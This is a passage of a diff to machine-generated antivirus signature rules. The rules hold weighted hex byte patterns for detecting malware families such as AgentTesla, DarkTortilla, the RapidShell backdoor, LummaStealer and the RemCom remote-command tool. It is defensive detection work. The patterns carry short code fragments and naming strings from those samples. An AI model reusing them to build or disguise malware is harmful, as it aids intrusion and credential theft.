01 01 8a 4c 38 02 32 cb 90 00 0a 00 2c 03 25 0f 00 00 80 } //0 - $a_83_5 = {f0 40 88 45 90 01 01 90 03 0f 06 8b 45 08 03 45 f8 0f b6 00 0f b6 4d ff 33 c1 8a 01 8a d0 32 d3 90 00 00 00 78 a0 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //1401 - $a_2e_6 = {58 46 4f 21 4d 54 42 00 0a 00 34 02 13 04 06 11 04 6f 90 01 04 06 18 6f 90 01 04 02 28 90 01 04 0c 28 90 01 04 06 6f 90 01 04 08 16 08 8e 69 6f 90 01 04 6f 90 01 04 0b 07 13 05 11 05 2a 90 00 02 00 34 80 01 43 6c 6f 77 6e 66 69 73 68 56 6f 69 63 65 43 68 61 6e 67 65 72 2e 50 72 6f 70 65 72 } //27763 - $a_73_7 = {52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 a0 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4c 32 39 21 4d 54 42 00 0a 00 4b 02 2b 3e 00 02 07 28 90 01 04 28 90 01 04 03 07 03 6f 90 01 04 5d 17 58 28 90 01 04 28 } //26996 - $a_59_8 = {06 08 28 90 } //400 - $a_12_9 = {28 90 01 04 28 90 01 04 0a 00 07 17 58 } //1025 + $a_83_5 = {f0 40 88 45 90 01 01 90 03 0f 06 8b 45 08 03 45 f8 0f b6 00 0f b6 4d ff 33 c1 8a 01 8a d0 32 d3 90 00 00 00 78 a0 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 54 6f 72 74 } //1401 + $a_61_6 = {5a 59 57 21 4d 54 42 00 0a 00 5a 03 0a 00 02 7b f2 00 00 04 6f 90 01 01 03 00 0a 0c 00 73 90 01 01 03 00 0a 0d 00 09 08 17 73 90 01 01 03 00 0a 13 04 11 04 02 7b 90 01 01 00 00 04 16 02 7b 90 01 01 00 00 04 8e 69 6f 90 01 01 03 00 0a 00 11 04 6f 90 01 01 03 00 0a 00 09 6f 90 01 01 03 00 0a 0a de 1f 90 00 01 00 0f 01 43 72 } //27753 + $a_65_7 = {65 63 72 79 70 74 6f 72 00 00 78 a0 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4f 21 4d 54 42 00 0a 00 34 02 13 04 06 11 04 6f 90 01 04 06 18 6f 90 01 04 02 28 90 01 04 0c 28 90 01 04 06 6f 90 01 04 08 16 08 8e 69 6f 90 01 04 6f 90 01 04 0b 07 13 05 11 05 2a 90 00 02 } //24933 + $a_01_8 = {43 6c 6f 77 6e 66 69 73 68 56 6f 69 63 65 43 68 61 6e 67 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 a0 00 00 0c 00 0c 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 52 61 70 69 64 53 68 65 6c 6c 2e 41 21 64 68 61 00 0a 00 0e 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 01 00 2e 01 68 33 72 73 } //13312 + $a_69_9 = {6e 74 2f 74 72 61 6e 73 70 6f 72 74 2e 28 2a 53 74 72 65 61 6d 29 2e 63 6f 6d 6d 61 6e 64 48 61 6e 64 6c 65 72 01 00 2a 01 68 33 72 73 2f 63 6c 69 65 6e 74 2f 74 72 61 6e 73 70 6f 72 74 2e 28 2a 53 74 72 65 61 6d 29 2e 73 65 6e 64 4f 75 74 70 75 74 00 00 78 a0 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //25391 condition: - ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*1531+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_a0_4 & 1)*0+(#a_83_5 & 1)*1401+(#a_2e_6 & 1)*27763+(#a_73_7 & 1)*26996+(#a_59_8 & 1)*400+(#a_12_9 & 1)*1025) >=8 + ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*1531+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_a0_4 & 1)*0+(#a_83_5 & 1)*1401+(#a_61_6 & 1)*27753+(#a_65_7 & 1)*24933+(#a_01_8 & 1)*13312+(#a_69_9 & 1)*25391) >=8 } -rule _InfrastructureShared_11094{ +rule _InfrastructureShared_11808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 56 69 64 61 72 2e 50 53 62 21 4d 54 42 00 05 00 29 01 57 d7 02 e8 09 0b 00 00 00 fa 25 33 00 16 00 00 02 00 00 00 3e 00 00 00 22 00 00 00 0f 00 00 00 fd 02 00 00 02 00 00 00 18 01 00 0c 01 44 } //16675 $a_6c_1 = {61 64 44 61 74 61 01 00 18 01 52 53 41 45 6e 63 72 79 70 74 69 6f 6e 50 61 64 64 69 6e 67 4d 6f 64 65 01 00 0f 01 4d 65 73 73 61 67 65 53 6d 75 67 67 6c 65 72 01 00 08 01 47 65 74 42 79 74 65 73 00 00 78 a0 00 00 0a 00 0a 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 0a 00 27 03 81 e1 } //30575 - $a_c9_3 = {41 90 03 0f 05 8b 90 02 02 88 4d 90 01 01 8a 4c 38 02 32 cb 8a 14 30 32 d3 90 00 0a 00 1e 03 81 e1 0f 00 00 80 79 05 49 83 c9 f0 41 8b 90 02 02 88 4d 90 01 01 8a 4c 38 02 32 cb 90 00 0a 00 2c 03 25 0f 00 00 80 79 05 48 83 c8 f0 40 88 45 90 01 01 90 03 0f 06 8b 45 08 03 45 f8 0f b6 00 0f b6 4d ff 33 c1 8a 01 8a d0 32 d3 90 00 00 00 78 a0 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f } //18693 - $a_3a_4 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4f 21 4d 54 42 00 0a 00 34 02 13 04 06 11 04 6f 90 01 04 06 18 6f 90 01 04 02 28 90 01 04 0c 28 90 01 04 06 6f 90 01 04 08 16 08 8e 69 6f 90 01 04 6f 90 01 04 0b 07 13 05 11 05 2a 90 00 02 00 34 80 01 43 6c 6f 77 6e 66 69 73 68 56 6f 69 63 65 43 68 61 6e 67 65 72 2e 50 72 6f } //24938 + $a_c9_3 = {41 90 03 0f 05 8b 90 02 02 88 4d 90 01 01 8a 4c 38 02 32 cb 8a 14 30 32 d3 90 00 0a 00 1e 03 81 e1 0f 00 00 80 79 05 49 83 c9 f0 41 8b 90 02 02 88 4d 90 01 01 8a 4c 38 02 32 cb 90 00 0a 00 2c 03 25 0f 00 00 80 79 05 48 83 c8 f0 40 88 45 90 01 01 90 03 0f 06 8b 45 08 03 45 f8 0f b6 00 0f b6 4d ff 33 c1 8a 01 8a d0 32 d3 90 00 00 00 78 a0 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a } //18693 + $a_4d_4 = {49 4c 2f 44 61 72 6b 54 6f 72 74 69 6c 6c 61 2e 5a 59 57 21 4d 54 42 00 0a 00 5a 03 0a 00 02 7b f2 00 00 04 6f 90 01 01 03 00 0a 0c 00 73 90 01 01 03 00 0a 0d 00 09 08 17 73 } //28257 condition: - ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30575+(#a_c9_3 & 1)*18693+(#a_3a_4 & 1)*24938) >=9 + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30575+(#a_c9_3 & 1)*18693+(#a_4d_4 & 1)*28257) >=9 } -rule _InfrastructureShared_11095{ +rule _InfrastructureShared_11809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 0a 00 27 03 81 e1 0f 00 00 80 79 05 49 83 c9 f0 41 90 03 0f 05 8b 90 02 02 88 4d 90 01 01 8a 4c 38 02 32 cb 8a 14 30 32 d3 90 00 0a 00 1e 03 81 e1 0f 00 00 80 79 05 49 83 c9 f0 41 8b 90 02 02 88 4d 90 01 01 8a 4c 38 02 32 cb 90 00 0a 00 2c 03 25 0f 00 00 80 79 05 48 83 } //25635 - $a_88_1 = {90 01 01 90 03 0f 06 8b 45 08 03 45 f8 0f b6 00 0f b6 4d ff 33 c1 8a 01 8a d0 32 d3 90 00 00 00 78 a0 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //-3896 - $a_65_2 = {6c 61 2e 4f 58 46 4f 21 4d 54 42 00 0a 00 34 02 13 04 06 11 04 6f 90 01 04 06 18 6f 90 01 04 02 28 90 01 04 0c 28 90 01 04 06 6f 90 01 04 08 16 08 8e 69 6f 90 01 04 6f 90 01 04 0b 07 13 05 11 05 2a 90 00 02 00 34 80 01 43 6c 6f 77 6e 66 69 73 68 56 6f } //29806 + $a_88_1 = {90 01 01 90 03 0f 06 8b 45 08 03 45 f8 0f b6 00 0f b6 4d ff 33 c1 8a 01 8a d0 32 d3 90 00 00 00 78 a0 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b } //-3896 + $a_74_2 = {6c 6c 61 2e 5a 59 57 21 4d 54 42 00 0a 00 5a 03 0a 00 02 7b f2 00 00 04 6f 90 01 01 03 00 0a 0c 00 73 90 01 01 03 00 0a 0d 00 09 08 17 73 90 01 01 03 00 0a 13 04 11 04 02 7b 90 01 01 00 00 04 16 02 7b 90 01 01 00 00 04 8e 69 6f 90 01 01 03 00 0a 00 11 04 6f 90 01 01 03 00 0a 00 09 6f 90 01 01 03 00 0a 0a de 1f 90 00 01 00 0f 01 43 72 65 61 } //28500 condition: - ((#a_5f_0 & 1)*25635+(#a_88_1 & 1)*-3896+(#a_65_2 & 1)*29806) >=10 + ((#a_5f_0 & 1)*25635+(#a_88_1 & 1)*-3896+(#a_74_2 & 1)*28500) >=10 } -rule _InfrastructureShared_11096{ +rule _InfrastructureShared_11810{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 54 6f 72 74 69 6c 6c 61 2e 5a 59 57 21 4d 54 42 00 0a 00 5a 03 0a 00 02 7b f2 00 00 04 6f 90 01 01 03 00 0a 0c 00 73 90 01 01 03 00 0a 0d 00 09 08 17 73 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=11 + +} +rule _InfrastructureShared_11811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -121675,7 +129650,19 @@ rule _InfrastructureShared_11096{ ((#a_54_0 & 1)*18467+(#a_2a_1 & 1)*4357) >=12 } -rule _InfrastructureShared_11097{ +rule _InfrastructureShared_11812{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 52 61 70 69 64 53 68 65 6c 6c 2e 41 21 64 68 61 00 0a 00 0e 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 01 00 2e 01 68 33 72 73 2f 63 6c 69 65 6e 74 2f 74 72 61 6e 73 70 6f 72 74 2e } //16675 + $a_74_1 = {65 61 6d 29 2e 63 6f 6d 6d 61 6e 64 48 61 6e 64 6c 65 72 01 00 2a 01 68 33 72 73 2f 63 6c 69 65 6e 74 2f 74 72 61 6e 73 70 6f 72 74 2e 28 2a 53 74 72 65 61 6d 29 2e 73 65 6e 64 4f 75 74 70 75 74 00 00 78 a0 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 } //10792 + $a_6f_2 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4c 32 39 21 4d 54 42 00 0a 00 4b 02 2b 3e 00 02 07 28 90 01 04 28 90 01 04 03 07 03 6f 90 01 04 5d 17 58 28 90 01 04 28 90 01 04 59 0c 06 08 28 90 01 04 0d 12 03 28 90 01 04 28 90 01 04 0a 00 07 17 58 0b 07 02 6f 90 01 04 fe 02 16 fe 01 13 04 11 04 2d b0 90 00 01 00 0e 00 43 72 65 61 } //21562 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*10792+(#a_6f_2 & 1)*21562) >=12 + +} +rule _InfrastructureShared_11813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -121687,7 +129674,7 @@ rule _InfrastructureShared_11097{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*400+(#a_6f_2 & 1)*1803) >=12 } -rule _InfrastructureShared_11098{ +rule _InfrastructureShared_11814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -121699,7 +129686,7 @@ rule _InfrastructureShared_11098{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1025+(#a_01_2 & 1)*3584) >=12 } -rule _InfrastructureShared_11099{ +rule _InfrastructureShared_11815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -121712,7 +129699,7 @@ rule _InfrastructureShared_11099{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*400+(#a_70_2 & 1)*400+(#a_02_3 & 1)*4874) >=16 } -rule _InfrastructureShared_11100{ +rule _InfrastructureShared_11816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,6f 00 6f 00 05 00 21 " @@ -121725,7 +129712,7 @@ rule _InfrastructureShared_11100{ ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*-6587+(#a_00_3 & 1)*97+(#a_61_4 & 1)*28530) >=111 } -rule _InfrastructureShared_11101{ +rule _InfrastructureShared_11817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 03 00 21 " @@ -121737,7 +129724,7 @@ rule _InfrastructureShared_11101{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*95+(#a_44_2 & 1)*16686) >=150 } -rule _InfrastructureShared_11102{ +rule _InfrastructureShared_11818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -121747,7 +129734,7 @@ rule _InfrastructureShared_11102{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11103{ +rule _InfrastructureShared_11819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -121757,7 +129744,7 @@ rule _InfrastructureShared_11103{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11104{ +rule _InfrastructureShared_11820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -121767,7 +129754,7 @@ rule _InfrastructureShared_11104{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11105{ +rule _InfrastructureShared_11821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -121778,7 +129765,7 @@ rule _InfrastructureShared_11105{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*17679) >=1 } -rule _InfrastructureShared_11106{ +rule _InfrastructureShared_11822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -121789,7 +129776,7 @@ rule _InfrastructureShared_11106{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*400) >=1 } -rule _InfrastructureShared_11107{ +rule _InfrastructureShared_11823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -121800,7 +129787,7 @@ rule _InfrastructureShared_11107{ ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*1672) >=1 } -rule _InfrastructureShared_11108{ +rule _InfrastructureShared_11824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121810,7 +129797,7 @@ rule _InfrastructureShared_11108{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11109{ +rule _InfrastructureShared_11825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121821,7 +129808,7 @@ rule _InfrastructureShared_11109{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*31277) >=2 } -rule _InfrastructureShared_11110{ +rule _InfrastructureShared_11826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121832,7 +129819,7 @@ rule _InfrastructureShared_11110{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585) >=2 } -rule _InfrastructureShared_11111{ +rule _InfrastructureShared_11827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121843,7 +129830,7 @@ rule _InfrastructureShared_11111{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*27022) >=2 } -rule _InfrastructureShared_11112{ +rule _InfrastructureShared_11828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121853,7 +129840,7 @@ rule _InfrastructureShared_11112{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11113{ +rule _InfrastructureShared_11829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121864,7 +129851,7 @@ rule _InfrastructureShared_11113{ ((#a_77_0 & 1)*19491+(#a_14_1 & 1)*21641) >=2 } -rule _InfrastructureShared_11114{ +rule _InfrastructureShared_11830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121874,7 +129861,7 @@ rule _InfrastructureShared_11114{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_11115{ +rule _InfrastructureShared_11831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121885,7 +129872,7 @@ rule _InfrastructureShared_11115{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-5160) >=2 } -rule _InfrastructureShared_11116{ +rule _InfrastructureShared_11832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -121896,7 +129883,18 @@ rule _InfrastructureShared_11116{ ((#a_4c_0 & 1)*21539+(#a_d2_1 & 1)*1) >=2 } -rule _InfrastructureShared_11117{ +rule _InfrastructureShared_11833{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 49 4b 21 4d 54 42 00 01 00 3e 02 89 0c 24 89 44 24 04 e8 90 02 10 8b 44 24 08 8b 4c 24 14 8b 54 } //21539 + $a_5c_1 = {10 8b 6c 24 18 89 44 24 40 89 54 24 44 89 5c 24 48 89 4c 24 4c 89 6c 24 50 c6 44 24 1f 00 8b 54 24 30 90 00 01 00 21 00 89 d5 8d 54 11 ff c1 ea 16 39 d0 0f 87 e0 01 00 00 89 44 24 2c 8b 93 34 01 00 00 85 d2 75 69 8b 05 00 00 78 a1 00 00 02 00 02 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 73 72 75 65 78 2e 42 21 64 68 61 00 01 00 22 01 33 c1 66 89 04 33 8b c5 47 83 c6 02 8d 50 02 } //3108 + condition: + ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*3108) >=2 + +} +rule _InfrastructureShared_11834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -121908,7 +129906,7 @@ rule _InfrastructureShared_11117{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*21642+(#a_8d_2 & 1)*17920) >=2 } -rule _InfrastructureShared_11118{ +rule _InfrastructureShared_11835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -121918,23 +129916,13 @@ rule _InfrastructureShared_11118{ $a_01_2 = {64 a1 18 00 00 00 8b 40 30 55 8b ab } //1 $a_01_3 = {64 a1 18 00 00 00 8b 40 30 56 8b b3 } //1 $a_01_4 = {64 a1 18 00 00 00 8b 40 30 52 8b 93 } //1 - $a_a1_5 = {00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 53 47 44 41 21 4d 54 42 00 03 00 71 03 0a 06 06 6f 14 00 00 0a 06 6f 15 00 00 0a 6f 16 00 00 0a 0b 73 17 00 00 0a 0c 20 90 01 03 00 8d 15 00 00 01 25 d0 04 00 00 04 28 18 00 00 0a 73 19 00 00 0a 0d 09 07 16 73 1a 00 00 0a 13 04 1f 10 8d 15 00 00 01 13 05 38 } //0 - $a_16_7 = {06 6f 1b 00 00 } //4360 + $a_a1_5 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 4b 46 21 4d 54 42 00 01 00 47 03 01 25 16 d0 90 01 03 01 28 90 01 03 0a a2 28 90 01 03 0a 73 90 01 03 0a 17 8d 90 01 03 01 25 16 72 90 01 03 70 a2 6f 90 01 03 0a 74 90 01 03 1b 90 09 14 00 d0 90 01 03 01 28 90 01 03 0a 72 90 01 03 70 17 8d 90 00 01 } //0 + $a_44_6 = {6f } //6144 o condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_a1_5 & 1)*0+(#a_16_7 & 1)*4360) >=2 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_a1_5 & 1)*0+(#a_44_6 & 1)*6144) >=2 } -rule _InfrastructureShared_11119{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 53 47 44 41 21 4d 54 42 00 03 00 71 03 0a 06 06 6f 14 00 00 0a 06 6f 15 00 00 0a 6f 16 00 00 0a 0b 73 17 00 00 0a 0c 20 90 01 03 00 8d 15 00 00 01 25 d0 04 00 00 04 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_11120{ +rule _InfrastructureShared_11836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121946,7 +129934,7 @@ rule _InfrastructureShared_11120{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2563+(#a_53_2 & 1)*7680) >=3 } -rule _InfrastructureShared_11121{ +rule _InfrastructureShared_11837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121957,7 +129945,7 @@ rule _InfrastructureShared_11121{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=3 } -rule _InfrastructureShared_11122{ +rule _InfrastructureShared_11838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -121968,7 +129956,7 @@ rule _InfrastructureShared_11122{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*50) >=3 } -rule _InfrastructureShared_11123{ +rule _InfrastructureShared_11839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -121981,7 +129969,7 @@ rule _InfrastructureShared_11123{ ((#a_77_0 & 1)*16675+(#a_6c_1 & 1)*25938+(#a_6c_2 & 1)*30068+(#a_6f_3 & 1)*27491) >=3 } -rule _InfrastructureShared_11124{ +rule _InfrastructureShared_11840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -121990,12 +129978,12 @@ rule _InfrastructureShared_11124{ $a_01_1 = {8d 9b 00 00 00 00 8a 19 41 01 00 16 03 ff d3 85 c0 75 90 01 01 ff d7 c1 e8 02 30 06 46 80 3e 00 75 90 00 01 00 1c 03 ff d7 85 c0 75 90 01 01 ff d3 8a 16 c1 e8 02 32 d0 88 16 8a 46 01 46 84 c0 75 90 00 00 00 78 a1 00 00 03 00 03 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 43 6f 6d 53 76 63 2e 41 00 01 } //-29374 $a_52_2 = {6d } //2560 m $a_53_3 = {63 00 01 00 0e 01 52 65 6d 43 6f 6d 5f 73 74 64 65 72 72 00 01 00 0d 01 52 65 6d 43 6f 6d 5f 73 74 64 69 6e 00 01 00 10 01 5c 5c 2e 5c 70 69 70 65 5c 25 73 25 73 25 64 00 01 00 0e 01 52 65 6d 43 6f 6d 5f 73 74 64 6f 75 74 00 01 00 1d 01 5c 5c 2e 5c 70 69 70 65 5c 52 65 6d 43 6f 6d 5f 63 6f 6d 6d 75 6e 69 63 61 74 6f 6e 00 00 } //28483 - $a_00_4 = {00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 61 77 33 36 00 02 00 37 80 01 44 3a 5c 77 6f 72 6b 73 70 61 63 65 5c 73 76 6e 5c 70 68 6f 74 6f 76 69 65 77 65 72 5c 62 69 6e 5c 52 65 6c 65 61 73 65 5c 72 65 63 65 6e 74 76 69 65 77 2e 70 64 62 01 00 22 80 01 53 6f 66 74 77 61 72 65 5c 50 68 6f 74 6f 56 69 65 77 65 72 5c 55 70 64 61 74 65 43 68 65 63 6b 65 72 01 00 09 80 01 73 6b 69 6e 33 2e 6a 70 67 00 } //30720 + $a_00_4 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 4d 51 21 62 69 74 00 01 00 1e 01 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 72 70 63 73 73 01 00 13 01 52 75 6e 57 69 6e 43 68 61 63 6b 41 70 70 50 61 74 63 68 01 00 0c 01 73 65 72 76 69 63 65 73 2e 65 78 65 01 00 28 01 31 c9 85 d2 74 21 52 3a 0a 74 17 3a 4a 01 74 11 3a 4a 02 74 0b 3a 4a 03 74 05 83 c2 04 eb e8 42 42 42 89 d1 5a 29 d1 e9 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-29374+(#a_52_2 & 1)*2560+(#a_53_3 & 1)*28483+(#a_00_4 & 1)*30720) >=3 } -rule _InfrastructureShared_11125{ +rule _InfrastructureShared_11841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -122004,25 +129992,13 @@ rule _InfrastructureShared_11125{ $a_01_1 = {5c 5c 2e 5c 70 69 70 65 5c 25 73 25 73 25 64 00 } //1 屜尮楰数╜╳╳d $a_01_2 = {52 65 6d 43 6f 6d 5f 73 74 64 6f 75 74 00 } //1 敒䍭浯獟摴畯t $a_01_3 = {5c 5c 2e 5c 70 69 70 65 5c 52 65 6d 43 6f 6d 5f 63 6f 6d 6d 75 6e 69 63 61 74 6f 6e 00 } //1 - $a_a1_4 = {00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 61 77 33 36 00 02 00 37 80 01 44 3a 5c 77 6f 72 6b 73 70 61 63 65 5c 73 76 6e 5c 70 68 6f 74 6f 76 69 65 77 65 72 5c 62 69 6e 5c 52 65 6c 65 61 73 65 5c 72 65 63 65 6e 74 76 69 65 77 2e 70 64 62 01 00 22 80 01 53 6f 66 74 77 61 72 65 } //0 - $a_6f_5 = {6f 56 69 65 77 65 72 5c 55 70 64 61 74 65 43 68 65 63 6b 65 72 01 00 09 80 01 73 6b 69 6e 33 2e 6a 70 67 00 